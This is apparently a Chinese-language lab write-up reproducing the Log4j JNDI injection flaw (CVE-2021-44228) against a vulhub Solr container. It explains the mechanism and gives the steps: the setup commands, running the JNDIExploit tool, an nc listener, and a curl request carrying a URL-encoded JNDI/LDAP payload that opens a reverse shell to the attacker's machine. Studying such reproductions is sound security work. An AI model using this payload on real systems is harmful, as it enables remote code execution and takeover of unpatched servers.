影响范围

  • Apache Log4j 2.0-beta9 - 2.14.1

漏洞类型

JNDI 注入

操作系统限制

配置要求

开启端口 8983 和 5005

漏洞利用

命令执行,反弹 shell

利用原理

Log4j 支持 JNDI 协议的 Lookup 功能,该功能运行开发者在日志中动态插入系统属性(语法格式为 ${prefix:name}),而通过 JNDI,Java 查询可以连接外部资源,攻击者在这里用到了 LDAP 目录服务。攻击者在 HTTP Header 或 URL 参数中发送构造的 payload:${jndi:ldap://攻击机 ip:1389/Exploit},后端处理这个请求时候会把这个 payload 信息写入日志,Log4j 解析 payload 时,靶机向攻击机请求 LDAP 资源,攻击机返回恶意代码,靶机执行恶意代码完成命令执行

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/log4j/CVE-2021-44228
#拉取镜像
docker-compose up -d

1773549482803

下载工具 JNDIExploit

1
2
3
4
git clone https://github.com/black9/Log4shell_JNDIExploit.git
cd Log4shell_JNDIExploit
#--如果没有unzip,下载命令yum install -y unzip
unzip JNDIExploit.v1.2.zip

1773549515834

使用工具

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 攻击机ip

1773549568397

开启 nc 监听

1773549681946

输入攻击请求,成功则返回 200

1
2
#url编码部分原文为${jndi:ldap://攻击机:1389/Basic/ReverseShell/攻击机/nc监听端口}
curl -i -k "http://靶机ip:8983/solr/admin/cores?test=%24%7Bjndi%3Aldap%3A%2F%2F攻击机ip%3A1389%2FBasic%2FReverseShell%2F攻击机ip%2F监听端口%7D"

1773549714204

JNDIExploit 窗口有回显

1773549877981

反弹 shell 成功连接

1773549916116